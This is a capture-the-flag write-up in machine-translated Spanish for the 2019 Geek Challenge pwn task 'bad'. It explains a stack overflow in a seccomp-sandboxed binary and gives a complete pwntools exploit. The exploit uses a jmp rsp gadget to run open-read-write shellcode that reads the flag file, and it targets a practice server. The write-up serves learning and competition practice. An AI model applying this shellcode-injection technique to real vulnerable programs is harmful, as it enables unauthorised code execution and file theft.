[Desafío Geek 2019] Nada mal
paso
-
Inspección de rutina, programa de 64 bits, inútil para activar ninguna protección
-
Realice una prueba local para ver la situación general. Según las indicaciones del programa, es un código de shell simple. Según la experiencia, definitivamente no es simple.
-
Carga ida de 64 bits. Introducción de
Baidu sobre la función mmap .
Cambie la dirección a partir de 0x123000, el tamaño es 0x1000 de longitud y el permiso se cambió a editable y ejecutable
sub_400949 (), filtrado de espacio aislado
Use paraseccomp-tools dump ./bad
ver qué funciones se pueden usar , y
solo se encuentra lectura. Se puede usar escribir, abrir, salir. Se estima que esta pregunta debería obtenerse usandoopen-->read-->write
un método orw para obtener el indicador
sub_400906 ()
sub_400A16 (), que es una vulnerabilidad de desbordamiento obvia
-
La idea de esta pregunta es muy simple, escriba orw tipo shellcode y luego salte para ejecutar, el tamaño de buf es solo 0x20, no parece suficiente para nosotros escribir una cadena de ataque rop completa, al comienzo del programa , abrimos el espacio ejecutable 0x100, planeo escribir el código de shell aquí y luego usar el desbordamiento de buf para saltar y ejecutar nuestro código de shell
-
Primero escribe el shellcode de orw
mmap=0x123000
orw_payload=shellcraft.open('./flag') #打开根目录下的flag文件
orw_payload+=shellcraft.read(3,mmap,0x50) #读取文件标识符是3的文件0x50个字节存放到mmap分配的地址空间里
orw_payload+=shellcraft.write(1,mmap,0x50) #将mmap地址上的内容输出0x50个字节
Para conocer los detalles del descriptor de archivo fd, consulte este artículo , déjeme hablar brevemente sobre él aquí.
El fd en lectura escribe 3 porque el descriptor de archivo comienza desde 3 cuando se ejecuta el programa, y el 1 en escritura es salida estándar a la pantalla Estos puntos de conocimiento están en el enlace que di.
- A continuación, escriba sobre la cadena de ataque rop en
buf. La tarea de la cadena de ataque rop en buf es escribir orw_payload en mmap, dejar que el programa salte a mmap para ejecutar orw_payload y comenzar a escribir la cadena de ataque rop después de determinar el propósito.
payload=asm(shellcraft.read(0,mmap,0x100))+asm('mov rax,0x123000;call rax')#buf里的rop是往mmap里读入0x100长度的数据,跳转到mmap的地址执行
De esta forma, el rop en buf logra el propósito que queremos. A continuación, encontraremos una forma de ejecutar el contenido en buf. Se
encuentra que el programa tiene jmp rsp, el cual se puede usar para saltar a buf para su ejecución. La dirección buf es rsp-0x30.
sub rsp, 0x30; jmp rsp tiene menos de 8 bytes para cumplir con los requisitos.
La cadena de ataque rop completa en buf
jmp_rsp=0x400A01
payload=asm(shellcraft.read(0,mmap,0x100))+asm('mov rax,0x123000;call rax')#buf里的rop是往mmap里读入0x100长度的数据,跳转到mmap的地址执行
payload=payload.ljust(0x28,'\x00')#buf的大小是0x20,加上rbp0x8是0x28,用’\x00‘去填充剩下的位置
payload+=p64(jmp_rsp)+asm('sub rsp,0x30;jmp rsp')#返回地址写上跳转到rsp
p.recvuntil('Easy shellcode, have fun!')
p.sendline(payload)
De esta manera, también se construye el rop en buf, y el resto se puede leer pasando orw_payload
Exp completa
from pwn import *
context.arch='amd64'
elf = ELF('./bad')
p = remote('node3.buuoj.cn',28461)
mmap=0x123000
orw_payload = shellcraft.open("./flag")
orw_payload += shellcraft.read(3, mmap, 0x50)
orw_payload += shellcraft.write(1, mmap,0x50)
jmp_rsp=0x400A01
payload=asm(shellcraft.read(0,mmap,0x100))+asm('mov rax,0x123000;call rax')
payload=payload.ljust(0x28,'\x00')
payload+=p64(jmp_rsp)+asm('sub rsp,0x30;jmp rsp')
p.recvuntil('Easy shellcode, have fun!')
p.sendline(payload)
shellcode=asm(orw_payload)
p.sendline(shellcode)
p.interactive()